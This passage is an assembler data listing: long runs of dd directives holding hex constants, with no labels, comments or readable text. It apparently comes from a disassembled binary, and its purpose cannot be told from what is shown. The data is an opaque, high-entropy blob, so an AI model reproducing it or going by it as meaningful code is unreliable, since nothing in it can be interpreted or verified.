		dd 37F2080Bh, 0DCC4435Bh, 8027CDABh, 0D868531Ah, 0A061691Ah
		dd 9D64C7F4h, 98BD0DDBh, 0F3F537C1h, 5DFA0702h,	0DFD8293Ah
		dd 2A40E132h, 8399D9E6h, 1AAA6057h, 0D829FECBh,	0D7E60B94h
		dd 815FFE03h, 0E216DA77h, 0A5FD8031h, 0B3071172h, 0B607851Fh
		dd 883B8518h, 0D9E195EAh, 1A4E10B2h, 0DAB25D7Ah, 20882D5Fh
		dd 671F660Ah, 0F50F2F7Eh, 134625F7h, 0EC7810BCh, 0BAA0482Eh
		dd 15F0E506h, 0ED054026h, 2D90DD7Eh, 0C44004AAh, 6B41FE7Ah
		dd 6FD1456h, 3CA184EFh,	7D4FE22Bh, 7D896018h, 2FD1F6D8h
		dd 1054F441h, 971ACD38h, 55C884E1h, 0EA42D28Fh,	0F54AE6CFh
		dd 0B5623EC2h, 6BD6D9h,	0F91740Dh, 5602E2D1h, 8C27EFBEh
		dd 30005D78h, 7101AAC6h, 0A3E92E12h, 0E2089140h, 3EA8058h
		dd 28DB2CCEh, 0E9A104D0h, 0C6C77ECCh, 0A3AF21F4h, 5B914B79h
		dd 886EF7D6h, 0E234E9F2h, 57F910E7h, 0A135DE04h, 4DEFD62h
		dd 46F0148Eh, 981782h, 1B1EF8BDh, 0E5C16814h, 0B5F503BBh
		dd 0B04A5213h, 375ABBCDh, 601820CCh, 2DEBEFFEh,	712EBD17h
		dd 0D2BF5C1Dh, 41E85081h, 61BC7A00h, 0BCDBF57h,	0E9203F93h
		dd 0AE012A13h, 0ED4A47CBh, 289C84B1h, 11D9CCBAh, 0DD011325h
		dd 144B0E9Ch, 91CB4821h
		dd 51C28C2Eh, 9EF5997h,	59274D8Dh, 7A0F29D9h, 0A4891449h
		dd 0B0DCCE75h, 853818B0h, 456A0C23h, 156530Fh, 0ED95B7F9h
		dd 168D2710h, 12B86FDCh, 0A9226E18h, 791E5FEAh,	0F6CC30FCh
		dd 77313033h, 5834E5C2h, 9069229h, 335A140Ah, 0C78FF705h
		dd 62F30907h, 627E8402h, 12625E40h, 68024E08h, 2098AA9Ch
		dd 0F49559EFh, 5B39BD43h, 83BF4CE0h, 0A4B0752Bh, 4161C700h
		dd 17E935CBh, 0FDCCBF42h, 875F5690h, 2F1B6B0h, 0F4DB276Dh
		dd 0F041CF31h, 565902B6h, 1B484325h, 5B2BE84h, 10990502h
		dd 6AEA5292h, 685E0700h, 0E8BC2437h, 4A2CF063h,	0E5A7B9A0h
		dd 0A4800C64h, 4ACB756Ch, 0C9E534h, 7CE95F08h, 0B731714Eh
		dd 0A36EF820h, 6FB7154Bh, 1257841h, 0E015184Ch,	78C5064Fh
		dd 73353AE9h, 0BBFF104h, 0E4BA249Fh, 1604D8EBh,	0D1E90E99h
		dd 0FBA61B0h, 171C7CC4h, 14CF0346h, 97685F0Bh, 5617996Eh
		dd 923350FCh, 40F70011h, 5D0F7836h, 881283BEh, 9AED293h
		dd 0E12E3209h, 0C581CDE0h, 526235E1h, 0AB25Eh, 0BE6520B8h
		dd 540F717Dh, 0E47E594Fh, 8CAF2B87h, 515EED98h,	0DC9959D1h
		dd 0B45B5DC2h, 47877E69h, 0B5011432h, 76BE067h,	0B3800082h
		dd 0B2FB136Fh, 175A4E1Ch, 5643CB7Fh, 0D3135BAAh, 791E29BBh
		dd 67E9C5BBh, 3F6E44FAh, 5D31BBF7h, 42FC7D3Ah, 13E39881h
		dd 0EE4A2532h, 869572Fh, 479BD700h, 0BF010558h,	4443B9EBh
		dd 7A20DF29h, 7D4516EEh, 0CA1FE052h, 3DC1090Ah,	0BE0EC901h
		dd 4724BC34h, 0E0EB4C6Ch, 0FD0A4DA3h, 2A081549h, 96201F95h
		dd 0C4530882h, 7EE408h,	6E5DDDBAh, 0E2098150h, 86A462FEh
		dd 1210DAD4h, 49C0473h,	10D44DD6h, 0CC28AD75h, 405D7110h
		dd 7D823FE6h, 0F6939F10h, 622F5981h, 0F5CA5690h, 0D706E255h
		dd 0C544D498h, 9A041AC7h, 0A72CD003h, 4849DCB2h, 1861C167h
		dd 0D41194Bh, 7798CEB7h, 222B5E32h, 0FBE3575Ah,	0A82C4414h
		dd 2FA941F3h, 0CCBE6D65h, 0B841E598h, 0C8D7A22Ah, 0E9EDB01Ch
		dd 0F39759F8h, 86A7BDEBh, 0FDCA70Bh, 9C60501h, 10BF0BDFh
		dd 0AF0DC992h, 5C25E38Bh, 0AA085156h, 5EBF0113h, 4037F539h
		dd 9C080AB8h, 0E7C14902h, 68A0E905h, 0EECD01C3h, 4DA867FFh
		dd 3F2AC2C3h, 0B10B18E6h, 9CB2847h, 5F8A6245h, 7D6CC210h
		dd 42A6A59h, 315E0A29h,	67A64381h, 58017BC4h, 5517B5CEh
		dd 0E5B3E1h, 0CA2184B9h, 0C586B832h, 0BAC8310Bh, 2778BD21h
		dd 0EC5B75DAh, 48C88E0Dh, 89E8217Eh, 0D58204F5h, 4E187F39h
		dd 66BD32E6h, 0EEF76940h, 0A6C76884h, 81407699h, 88F63C80h
		dd 7680E727h, 0E829665Ah, 89323CE7h, 0D2678402h, 8C04EF16h
		dd 7FF53396h, 0C8C1721h, 90B0EC88h, 0C3A6F41h, 0E4675A17h
		dd 0B753BF00h, 52EFD089h, 0C04600B2h, 0CAFE06EAh, 0A9B8D2F6h
		dd 0D728C212h, 35A04104h, 0EDBC4795h, 9899927h,	65DCD7Fh
		dd 0ADA64E9h, 0D84E5D90h, 0A85EF3BCh, 7864B297h, 0B25C5BD9h
		dd 50604CF4h, 3A48D2E2h, 0D98321Fh, 0CE5FD01h, 864171A5h
		dd 500936E9h, 7E772C39h, 57EC6825h, 9351F791h, 0B5ED70F2h
		dd 0D867A73h, 0DFE977B5h, 0C847EB5h, 21F4CE8Dh,	85CAAB25h
		dd 5B59C902h, 6D574030h, 215BB551h, 0DF3CC862h,	294BDD96h
		dd 56D3CCBDh, 2E00EEA9h, 0E9687A05h, 4A22BD6Fh,	4F0AF454h
		dd 0B9E8D70Ah, 5E53AB4Fh, 0B2E60160h, 3E0BB74Bh, 0DA9DF7D1h
		dd 12DDCD8h, 495E76BCh,	7B127FE9h, 0A04A70CEh, 0F1FC3ADh
		dd 0DEC606ECh, 5B84525Bh, 5EA5A21Ah, 0EAC4D9B1h, 805C9A31h
		dd 97CE15CBh, 0CF685940h, 0FEADBBFh, 28D24665h,	98925610h
		dd 0FCE99497h, 73D56EEAh, 0B12F07C9h, 0F9F3D364h, 1220267Eh
		dd 1D780581h, 40E848B2h, 0C369C03Bh, 479575DFh,	1F35D89Dh
		dd 0BE7C5BA7h, 38D6E909h, 5D683821h, 16E7607h, 4C9F1C76h
		dd 0E8824F5Fh, 0B360E38Fh, 5AC09383h, 0B1E953B8h, 0B936B06Ah
		dd 75324C0Ch, 6BD009C2h, 0C0480F61h, 79E13A29h,	0F3AC4EBFh
		dd 2A24A14Ch, 4250039h,	0F73D8752h, 135D03Fh, 3139299Ah
		dd 0F06F58C1h, 0FB6525B1h, 0D55C42h, 6AAEF8D8h,	8097C05h
		dd 5BEF842h, 6C6B7519h,	8F450FEh, 7B6E3E60h, 0ECA0061Dh
		dd 7E95E03Bh, 530ACC32h, 7F802294h, 8133A677h, 2A50BE7h
		dd 487054D9h, 42C808E4h, 0E0003DCDh, 7559BE56h,	16FA63D8h
		dd 29356E4Bh, 54C2D8BEh, 4BE975CFh, 4534553Ch, 6FAD86A0h
		dd 0D86A292Dh, 0DE12A91h, 48C507B8h, 8F64AF70h,	0AC604E9Fh
		dd 195C2716h, 9ED7C0DDh, 2632D406h, 0C9169715h,	6802127Ch
		dd 0A08650FBh, 443F0F32h, 62B0474Ch, 0FE1ACB62h, 92E1D5C0h
		dd 6538ED43h, 8D1CFB4h,	9175E280h, 0F2386776h, 3886809h
		dd 3D61985Dh, 16EB2D80h, 2108D27Ch, 62350EAEh, 0D3ACB20h
		dd 6C4C05A2h, 72C10537h, 258460ABh, 33123A1h, 5BC38B3Fh
		dd 0D909A18Bh, 0A654012Eh, 81FA5344h, 0F236A5D3h, 0F925C579h
		dd 5CEB001Eh, 5611D46Fh, 5212E91Ah, 385A5518h, 6F7EAA92h
		dd 39B225F2h, 6848FBF4h, 65305E2Eh, 5CFA2E76h, 8D00C765h
		dd 4A735150h, 0D3E4DA31h, 875608D9h, 0ADFA053Eh, 1246E85Bh
		dd 74FEFC94h, 3FA0EF1Ch, 0A52B534Ah, 160F3650h,	10603Fh
		dd 9143A7FEh, 0EC24E5Ch, 80FF4202h, 2606E692h, 180D6012h
		dd 0DB61A89Ch, 0F7B7E92Ah, 0E97815B6h, 0BF1940D2h, 471E9009h
		dd 0E9E0D55Dh, 741A99F7h, 0FD126428h, 0CCDAE161h, 0EAFE444Bh
		dd 0EB33820Bh, 9EF90678h, 0B1511E44h, 0B7B51530h, 26FC0925h
		dd 0AD7DDB1Fh, 80DE00E0h, 0E6C0FCEEh, 0EA0CC906h, 923CDFDEh
		dd 3F1004E8h, 1AE90C02h, 955934BCh, 52E1547Bh, 1E270117h
		dd 1041207Bh, 2D13B87Ch, 2BB09F7h, 3C606D3Fh, 520832E1h
		dd 15E15980h, 60C73A16h, 71847F0Eh, 0A7AB011Ch,	3C4E1FE1h
		dd 0CF20DE2Dh, 161B8466h, 2C77B148h, 280F9ECCh,	55A3A6E3h
		dd 0ADBB0164h, 2910921Bh, 759CF1DFh, 72CB3038h,	0C3E59990h
		dd 0AFC3063Bh, 4E54F059h, 0E2441603h, 0BA21D68Eh, 4274AA0Bh
		dd 19687DB0h, 528F2C2Bh, 3BF3FC8Eh, 68208B6h, 0C00FD655h
		dd 64471B1Eh, 0F1778AF6h, 83A63E8Ch, 0BB65404Eh, 1A3A2346h
		dd 8A134790h, 46EF9035h, 0C41EE23Fh, 3ED72D09h,	0C396E138h
		dd 0B8508A6Dh, 47750F22h, 0E897291Ah, 787E01C7h, 1BE90B98h
		dd 0AC405928h, 9BD04D92h, 7B3AE15Bh, 0BE9682B3h, 0C2163564h
		dd 0A6E57BBCh, 32683C28h, 0CBF8D96Ch, 0F01EA98Dh, 0B417A82Ah
		dd 0F4C61CC1h, 1CD50CA5h, 0FC05A1A5h, 8CD4952Ch, 0BD37287Ch
		dd 3AC268F2h, 2AE90908h, 0C257AC62h, 43CCF537h,	4358C314h
		dd 0E70C049Dh, 0B880321Bh, 4BE02467h, 0F2FA000Fh, 0C58BFAAFh
		dd 5909014Ah, 981B7074h, 10994AD7h, 1E07B908h, 0B33F173Eh
		dd 234E6418h, 648085F5h, 69C34B7h, 0E90BDA29h, 9301425Fh
		dd 3587C17Ch, 0AE93982Ch, 8FE0CC35h, 0BA2F40C9h, 0DF03FF69h
		dd 0B5F560Bh, 0C280805h, 0E00DCE96h, 0B43F3F86h, 6912851Ah
		dd 7402715h, 629C4E09h,	0E905A0BAh, 0C494826h, 0DB202286h
		dd 21B9F22Ch, 0A30A1913h, 62A55396h, 2D33D828h,	137C5401h
		dd 0EF28E4EFh, 0C1E240BBh, 0C9531F0Ch, 830860B4h, 54452F9Bh
		dd 0A9C5EADh, 0BB8244E9h, 5B0B4A58h, 2103D02Fh,	772243B4h
		dd 2E40956Ch, 98947795h, 48740BCBh, 1485E201h, 0B0087313h
		dd 0E14E9842h, 63803A51h, 0B77134E9h, 0F342CFF9h, 7765DD69h
		dd 0A85330Dh, 69CFCF2Fh
		dd 8C4B455Ah, 0D8BFEEA0h, 8195A9B8h, 0E88340C1h, 0C99762EAh
		dd 3AD02DEBh, 8920178Bh, 0E97620C6h, 0D2D118AAh, 4ABC97B6h
		dd 0EA4F23Ch, 0D4FE1492h, 2CD804DCh, 0DE4FB0C9h, 0DBEAC03Dh
		dd 2C3F0DA1h, 84E1318h,	0E9B69230h, 2FB3BED7h, 2F312FD9h
		dd 0C9475854h, 0BD07A594h, 7E18C141h, 0F10547BBh, 2E0129A7h
		dd 2DC329BDh, 0FE9D0354h, 0FCAB0BC0h, 0B1E92FD2h, 0EDC24B20h
		dd 9A4F23CDh, 95D9FBA4h, 8D76E1C3h, 0BF000C5Ah,	0ED408EBAh
		dd 12089814h, 0B07E7D42h, 0C3124848h, 11FF0C6Eh, 50C1D12Fh
		dd 2D9831E9h, 9D941608h, 0F5125EEDh, 40E9894Ah,	2B3C0F19h
		dd 0D8356ABDh, 0C24E4E30h, 3AC15D28h, 0CB4E2CF0h, 0BB23245Eh
		dd 8513EE34h, 0E9B3BDA8h, 17E577B2h, 583C5E27h,	0A0BA456Bh
		dd 5E04D26Ah, 0F10A051Bh, 8E7C6C88h, 0E62C91A6h, 766AD827h
		dd 0F720C01Ah, 4A7992B2h, 1ED4908h, 9711DA2Dh, 40A1D46Eh
		dd 7A4A3Dh, 24761328h, 3A4E1605h, 60825C32h, 526A5702h
		dd 0B4F165Fh, 224E5697h, 6B84B4DAh, 4198FBB8h, 876ACA3Eh
		dd 0F8895027h, 323ACC3Ah, 0F759BA01h, 0E907506Fh, 7F091417h
		dd 2C988B66h, 111A717h,	0CD343F8h, 0C643D245h, 713BBD0Ch
		dd 2330C3Ch, 0E94B5E75h, 0EC4622CFh, 2AA3504Bh,	138CE397h
		dd 2C4555E9h, 76C3F309h, 0EF650316h, 2A5650C9h,	0A7073ED9h
		dd 7ADC8Eh, 6E4433FFh, 40F3D729h, 127CA582h, 0BDE97512h
		dd 0CA2036A1h, 290DC1EBh, 51555BDDh, 22B5A65h, 0D643DFB3h
		dd 0E3C0C390h, 3848025Ch, 5BD917A1h, 229BB2A0h,	0E92DF130h
		dd 62800491h, 1B957E0h,	4A717E84h, 283FB268h, 1D29C1BEh
		dd 0B940213Bh, 13AF0B63h, 0E453E96Dh, 0F90CF353h, 0C3E6C66h
		dd 31331604h, 0DE7E0274h, 1A620D98h, 0E98E0356h, 0ED39589Dh
		dd 45441E3Bh, 84A6CC41h, 0A5772C16h, 0D25E0125h, 0FE189066h
		dd 17882F46h, 724AA4D8h, 25822413h, 2D27767Ch, 68E18D59h
		dd 642B743Dh, 0F35D8116h, 71AB4439h, 0AF08DFE3h, 0E51F4816h
		dd 7333250Ah, 9ACC5B78h, 16EABF08h, 0AB7D8Dh, 34EDF272h
		dd 0ED9056ECh, 0F3192901h, 47D7F720h, 16652130h, 0FE2CE67Ah
		dd 2B8F0E49h, 13B49C30h, 0EBF24CE9h, 3C92B974h,	41752936h
		dd 6AC47BEDh, 4ECBFA3Ah, 0FCABD997h, 729A5C64h,	2A7198C0h
		dd 30811626h, 0E90D75F7h, 5E95424Dh, 0D69A5B69h, 555121FDh
		dd 0BC9D653Dh, 0CDECAD67h, 0E837029Dh, 0C127C630h, 0A6194270h
		dd 45C68226h, 6154B234h, 0E73BFC3Fh, 0A565EEEh,	25DA6800h
		dd 37E964E3h, 0F0D3D0F4h, 315A5D36h, 2F1E6495h,	297145EBh
		dd 9609688Eh, 403A97CCh, 200704A6h, 0D8F6C8FEh,	5CF7C047h
		dd 83B1D064h, 0F0E9168Bh, 6BFCAE0h, 50754439h, 2B179ECCh
		dd 22C2017Ch, 0F60889E9h, 749F059Eh, 0C3B40934h, 0E5555FC2h
		dd 0F1888C65h, 0EA5FB7B0h, 2CA25DFCh, 49CEF37Dh, 9D7E9657h
		dd 3913726Ch, 64EB010Dh, 6DD0BECDh, 0ACA4584h, 0D8B85070h
		dd 31DD3AE1h, 0AF33502h, 62771917h, 0DF29CAE5h,	0B4FFFE09h
		dd 0A9CD5DB3h, 53BFB05Eh, 89BB683Ah, 5F5B5D19h,	38AB5711h
		dd 4E14A0Fh, 96FF6EE0h,	739B802Dh, 44297D70h, 40182FCBh
		dd 9055B68h, 104A1663h,	4D13A078h, 36EF0109h, 65B008CEh
		dd 0E169147Fh, 2B280BCh, 9F0C8079h, 2D06940Ch, 22630AA2h
		dd 472AC269h, 9541AA5Fh, 0E9109A58h, 5F7BF243h,	0A03AE91Ch
		dd 0A64A32E9h, 0B25598D8h, 1FE3BF4Eh, 0B7EC38h,	33251CA5h
		dd 6716D021h, 8866D8F7h, 27F8BE01h, 0AD6D1C5Ch,	6C7D3104h
		dd 4E98807Bh, 0B7C4B49h, 25F5E205h, 0F591791Ah,	40AF12AEh
		dd 0D73409EFh, 7CF75882h, 0C15A4D99h, 2F4ED139h, 27BD8580h
		dd 0E446092h, 0B24DDAC2h, 21E93509h, 2E2E819h, 6C0B274Ch
		dd 80AA14Ah, 3525169Bh,	0B13DA8BBh, 4043F53Eh, 51D9DAF3h
		dd 0F9FE638Dh, 4FF66F02h, 7D2F643Bh, 8FE69EF8h,	33B03207h
		dd 0C0E9E94Dh, 0B0D3F682h, 80340E6Bh, 0C66E36EEh, 85F728EBh
		dd 26AADAE4h, 68E88826h, 491B173Ch, 0F8997CB9h,	2509CE08h
		dd 647B2CF5h, 0A83AE128h, 750DDACEh, 0E1D13004h, 0E6A88F2h
		dd 0EE5E12D4h, 0EB2DEE04h, 0F90BF01h, 0E71530B9h, 3A25EE04h
		dd 0BEC04F65h, 6FDE203Ch, 21220C6Fh, 91DD5562h,	7AD105D0h
		dd 0B2D16F4h, 3CB77081h, 6A00FCDEh, 53D195Ah, 88572DB8h
		dd 7A020DCh, 0FF0E597Dh, 0A02EDC11h, 1F022FC7h,	2DF82101h
		dd 12F14830h, 4979254Fh, 84BC72DCh, 21F5F3A1h, 0D08CC2AFh
		dd 0A92D81A4h, 8310FD5h, 0F4F5AB58h, 973ACEFh, 0B99ABC7Bh
		dd 75D68E02h, 0D5506209h, 34C1B82Eh, 3F9328A6h,	0E21C4CE8h
		dd 4FBE493Ah, 0CE836341h, 551CD3D0h, 310224E0h,	0CCB0E9FAh
		dd 3AF204C8h, 0FCF911B3h, 504833h, 51A01D72h, 49E9E829h
		dd 5D3B1038h, 93621213h, 1484606Ch, 83D75088h, 1EAFB980h
		dd 896A7D68h, 0C75FF1FBh, 347D25D7h, 4BB4BC5Dh,	686050F1h
		dd 0B280DB9h, 0EFF6E94Fh, 21679C57h, 8C2CB850h,	65380502h
		dd 41CF6368h, 462E0828h, 2D0F3FF8h, 7412DF90h, 0D1BA03A2h
		dd 4DB648Ah, 9DC709E0h,	0C858D906h, 0D407AB0Dh,	1FD40C2Ah
		dd 0E56A4E94h, 6020C42Dh, 590C5Ch, 210612Ah, 285BD931h
		dd 60C6CD89h, 0AF57767h, 7502985Fh, 6806EDC1h, 62ECDF5Ch
		dd 631A3804h, 2CC04A0Bh, 28EA422Dh, 16DB2119h, 0CAFF31E9h
		dd 0AEC60196h, 312246FBh, 74DBD342h, 0E3B2C9Ch,	0EBD2334Ah
		dd 5D2C9A9Dh, 0F65B8C17h, 0A30CC475h, 6810BFBDh, 585F2F1Fh
		dd 61AA148h, 48985E02h,	123CC3F7h, 5D24E796h, 62828D0Ch
		dd 0E6B4595Fh, 6860A1D5h, 40765C40h, 4FE72D10h,	0EA7B00AFh
		dd 593B4674h, 0BD5D8BFCh, 0DD994A0Fh, 0BDF97030h, 0FEEA9FC0h
		dd 6014CAE6h, 13C1B450h, 2CBFECAEh, 719F14CAh, 88617A02h
		dd 3C4F3947h, 537A081Eh, 12EFAC5Eh, 0DE9BA9F3h,	7FF8C1CAh
		dd 35F53A18h, 2F311239h, 8544FB6Eh, 49445CE3h, 61E2AB66h
		dd 0C562987Eh, 0F4A1111Dh, 7E092DAAh, 0C551545Dh, 2604AC0Eh
		dd 2DB50359h, 0D0C315FFh, 2034ED48h, 0BC07B458h, 0B9D9EEAFh
		dd 253D1700h, 13BE5603h, 49BA1F8Dh, 0BAF70849h,	0FD4E409Ch
		dd 23342418h, 38FE0F41h, 21C50C38h, 0B4271C31h,	82057AB3h
		dd 4460046Ah, 3F2D0E4Ah, 507A7010h, 0B17C925Fh,	8BEB1C75h
		dd 76655BDAh, 3E1C7425h, 9816BFCBh, 0AA9269A3h,	6BCF5041h
		dd 245D2E51h, 16771320h, 0CC4FE179h, 0EB14291Bh, 25D5DD87h
		dd 60F9E239h, 726902ABh, 5B84F6EDh, 0D7D7E893h,	5EF1F6ECh
		dd 68B15043h, 15B43D12h, 82373061h, 0AA6F68Ch, 230BF391h
		dd 76798A4Dh, 581CF20h,	0F053FC36h, 7F1BECE3h, 0E8187C91h
		dd 0B831EB6Dh, 97BE92BBh, 183F2145h, 0F74AEAA8h, 255678DBh
		dd 82E48227h, 0BD2A5E79h, 595B09FEh, 0E9C29BF6h, 95A72619h
		dd 5C1772CFh, 89ECE7FDh, 1CCC7D2Ah, 69DAB6h, 0E02B1B99h
		dd 5FC18067h, 126F394Ch, 66BA9022h, 24C28C45h, 7FC70E47h
		dd 79183DC0h, 0FE54582Dh, 0C20B41A2h, 0BBD24251h, 94F588EAh
		dd 41681C13h, 4453873h,	0ABB652FDh, 0F2FECFD4h,	0AFE9A1FFh
		dd 5E75CE68h, 25DFBD51h, 0DDA9FDD8h, 0C627CD76h, 38517F80h
		dd 715FE361h, 517EBFEh,	0D337D5B9h, 205B6C65h, 0FEFB70B5h
		dd 0A17FE901h, 0FD08A7F1h, 53593AA3h, 0F8E9EFDBh, 0E9109D5Bh
		dd 0E93D43E7h, 2BE047B7h, 0E6C78343h, 3AB05B4Dh, 0A22A5927h
		dd 0C4B13A96h, 161B12A9h
		dd 2CAEE89Bh, 4717835Eh, 86EA15C2h, 80125808h, 502139C8h
		dd 12F696C5h, 0FB5E3722h, 9A031956h, 127B2A63h,	0A630D562h
		dd 0B352500Dh, 0F6F29297h, 0B05D693Fh, 53B70E0h, 0B368469Fh
		dd 0C4D6E84Bh, 0E9BC260Ch, 60C491C0h, 235CE9B9h, 4A625FE2h
		dd 6BCB40CAh, 0E4999F30h, 7D623872h, 0C0448F5Fh, 2ACD4183h
		dd 0C96DE23Eh, 58AB5E5Eh, 86262109h, 0A4028464h, 0C0D2E0E1h
		dd 2F02A9FCh, 0BCC43767h, 252AE925h, 13FEEBA2h,	1FB2B647h
		dd 7DA72190h, 0FE95A59Eh, 9B55510Bh, 85C720BCh,	0C69545FAh
		dd 1E3D8174h, 0B3E63B09h, 3385E90Ch, 86C52D30h,	0A3B253B9h
		dd 1E588CC9h, 2F450504h, 0DE2132Ch, 0B6933580h,	1690D8ADh
		dd 0CA3D5D09h, 9D240062h, 844DB456h, 1C400883h,	0AA5AE914h
		dd 0B0E741AEh, 0BE054472h, 9941090Ch, 25B3D850h, 13C5B14Ch
		dd 281FE208h, 4376164Ah, 0B797E0E6h, 78664D26h,	9CEBC08h
		dd 0CA03E089h, 497ED057h, 4161B60Bh, 639C0F7Ah,	0D9739647h
		dd 0B76FEE9Bh, 2D921604h, 2CBBEA53h, 0B955743h,	2D2434DEh
		dd 28FC1D68h, 0DCA20FC2h, 22C56115h, 85842801h,	30BA71CEh
		dd 53697790h, 0E1812501h, 64FD23D7h, 0A82A4071h, 29774BDFh
		dd 0EB46D2E2h, 5016B24Eh, 78BB386Bh, 0BF61E392h, 54505720h
		dd 7ACFBE58h, 22BA0D40h, 0ED704124h, 7BCE3800h,	24662D3Eh
		dd 0A0F2A23h, 290705C8h, 0E01CC422h, 0D8BD55ABh, 1874012h
		dd 6A05F027h, 44D5038Bh, 0B4CE4BE7h, 4BE2EF15h,	0BC67FA3Ch
		dd 8C728F7h, 0F6B75E4Eh, 2275858h, 654FA1E9h, 3E0ECDBh
		dd 170D3500h, 2D401BCCh, 0D9EA0FECh, 0E9EF214Bh, 0EFDEAD1Eh
		dd 9CDB962h, 0ED8907FFh, 4FF86471h, 0E4C5909Eh,	0ECD113E0h
		dd 0FD0909A8h, 6164D55Fh, 0F30BCDECh, 74486769h, 30E6C157h
		dd 256E815Bh, 1939105Ch, 12E99060h, 0A848522Fh,	777F7E21h
		dd 35012EECh, 8446638Ch, 0A22EC529h, 3230DFBDh,	9FDECBE9h
		dd 0FC59E4A5h, 24BCDF05h, 5AAD5B6Ah, 4304136Eh,	80180652h
		dd 0FB79393Ch, 0EC69B8F0h, 0B382F710h, 68E8A777h, 0AB2DC2B9h
		dd 9CA1844Bh, 7648C882h, 0FA08A06Dh, 0D1C2E3BEh, 0BC56F1Dh
		dd 55D199D8h, 0BC94AB13h, 260A2BFBh, 8921270h, 923D5EA9h
		dd 38783D9Ch, 0A93DBC4Bh, 60BBC97Ah, 9A95A9D6h,	0E91F30D0h
		dd 71925A21h, 2802687Ah, 67B069A3h, 19FB075Fh, 16CCEA51h
		dd 9B442AEh, 9F585BDFh,	0E038C698h, 0FDD27021h,	0A96C74ABh
		dd 8BAAD357h, 0C62F7D94h, 0F2CD5602h, 2592445Dh, 0C1FEDFF8h
		dd 0F0EAF273h, 0EDB13B50h, 0BD27A692h, 2AD71E11h, 0EA211006h
		dd 0FDDD2FD0h, 0DE9F71C6h, 0B27F4B75h, 88467D7Dh, 0F7F20F84h
		dd 0EF3F2DFEh, 0F86B2D7Fh, 7707829Eh, 65642C11h, 236CF8F7h
		dd 2D0DC301h, 3D597A0Ch, 6383C06Bh, 0ABF7BA7h, 0B0085EF4h
		dd 0CBDC3BB6h, 7268560Eh, 0E9A03053h, 51B7514Ah, 0AD56E24Dh
		dd 0B77453DCh, 74882F1h, 2B8A5A13h, 0C22AA15Eh,	4C78AC42h
		dd 0C2006EE2h, 0C6BF5708h, 12017C0Ah, 0B8B8FEE9h, 0FF0CC4BBh
		dd 0D3BB5300h, 344FBE26h, 62D12F0Ch, 655809E9h,	37E0A406h
		dd 66810BB6h, 25EDB68Fh, 4469A549h, 5BB86AE3h, 29EB29E1h
		dd 0CA569F4Fh, 843EB429h, 3ACBFE96h, 0A3250117h, 0A7680987h
		dd 0D39D531h, 0CA142A2Ah, 55530307h, 0E14E3DACh, 473F0818h
		dd 0E47E3626h, 83D4AB63h, 0C61C0818h, 4C992F7Fh, 0BA0DDFFEh
		dd 0A67F361Dh, 4D23311Bh, 0E03AEC80h, 0CFEC4AA5h, 0BABD24Fh
		dd 79E2FAB6h, 87F1D305h, 0F6019813h, 8E1C0D1h, 410F7D30h
		dd 0EBB72064h, 0C4FFED0Bh, 40B3C0E3h, 0EBBD96F4h, 0C2815D72h
		dd 0A5BF10A8h, 0C7C6A05Eh, 95DC7983h, 0E4B34778h, 0DEEF5A12h
		dd 0A3575AC9h, 21CFDECh, 3F076A0Bh, 110315Fh, 0D6F97C44h
		dd 0DF70CA9h, 522F3372h, 6E9C1F3Bh, 202C0908h, 51B66598h
		dd 0B5E6507Fh, 88524001h, 35DCE9EEh, 0BBD28F53h, 0B70EDEC8h
		dd 55CBBED9h, 11F546ECh, 0F710F965h, 0F978D76h,	5E35837Ah
		dd 37E9BD43h, 0FF410841h, 9F3DF228h, 0A26EE017h, 68E661C2h
		dd 0F2E262C5h, 0DD8A2799h, 486210D6h, 0EF294805h, 581FFAFEh
		dd 277D7164h, 9AF29BE2h, 58D11526h, 1259C88Ch, 35444EEAh
		dd 48A5243h, 68D42Eh, 2318FABBh, 4B3BF414h, 0EC0ADD80h
		dd 5C9AC3F9h, 0D40A1E01h, 2DE8015Dh, 90550746h,	2AC891A5h
		dd 0B53245Dh, 0EE0244FEh, 0FA3D774h, 3F66C84Ah,	0A46B2D41h
		dd 0B2A0061Fh, 4F04425Dh, 0BA30E927h, 38028CCh,	5066F5EFh
		dd 0F4B87CB4h, 0EC28C01Bh, 0F94EA106h, 75EB1FD0h, 2E510960h
		dd 1A88F301h, 3BEB2408h, 14727AE2h, 0D75B5402h,	5E2083BEh
		dd 0D70124ECh, 18053D86h, 0AA5A3F2Fh, 9F691A98h, 90B2B862h
		dd 0E8E0082h, 5DA3F546h, 4AEDA8FDh, 7BDF2FFDh, 2DB500DAh
		dd 0B8663D1h, 5D80114h,	7BE4807h, 29FE683Ch, 6604A032h
		dd 2527C53h, 7F94251h, 0E95EE3E9h, 0CC03AC87h, 41FB21D4h
		dd 8F4F8DF0h, 68E5D82Ah, 634E5E18h, 302BA70Ch, 0C7241A3Bh
		dd 913BD14h, 0AE65E931h, 0B500D6ACh, 295B3F08h,	30C059CBh
		dd 5C180276h, 91DD4C01h, 5A420841h, 0B9BD00F3h,	2D5F0962h
		dd 0F83BB9A1h, 1F502ADh, 0C2023E07h, 90734014h,	0DD21281Ah
		dd 5AED01CEh, 0E90BFEBDh, 5A9F2C9Bh, 0E32F793Dh, 1CE9133Ch
		dd 0C7FED181h, 92E536DCh, 53583EC3h, 0BAC09197h, 0E4F11609h
		dd 887A2D32h, 8454A4B4h, 0D53CF7E5h, 525B184Dh,	0FA14E52Fh
		dd 30BE98BFh, 0EB1710C6h, 0FA01B807h, 2090519h,	0F4D47B56h
		dd 14352E1Fh, 69150203h, 0EE742DE3h, 0C342038Bh, 9A94E3A0h
		dd 0E910E02Fh, 0FD2D5895h, 5117E9D4h, 880E31FDh, 0F15FCAF9h
		dd 62FA4970h, 32AE0A5Ah, 0E048E827h, 200FB252h,	7CD38853h
		dd 0B1E66E92h, 2D77B411h, 52A27134h, 0E4F66490h, 77E3181h
		dd 1616CFEFh, 9E201C40h, 6C2927FDh, 0A4605F7Ch,	257C5557h
		dd 9BF5AF68h, 4E53F8B1h, 2E9172Fh, 0D8813D31h, 3C1752CAh
		dd 0BC80303Fh, 6162B2E7h, 26CDD831h, 0B0500001h, 0EB80076Fh
		dd 0E5C32820h, 4306F578h, 0C5B0C9Bh, 0A3B8ABF0h, 93AE85EAh
		dd 0CDC850FEh, 4C02A904h, 9E515FBDh, 1E02F51Ah,	0A07D7029h
		dd 612B12A9h, 9679833h,	58C3364Ah, 0B9902FFh, 4FD67EBCh
		dd 0B9EB107h, 0A7B36757h, 35C4B07Dh, 0B90CC0A4h, 0AB5096Bh
		dd 0DD96817Bh, 64D6A5h,	8826850h, 37983CE6h, 4ACCA20h
		dd 89F73D35h, 0E4DFC2A8h, 304321D4h, 0F16F02FDh, 74AA1DA3h
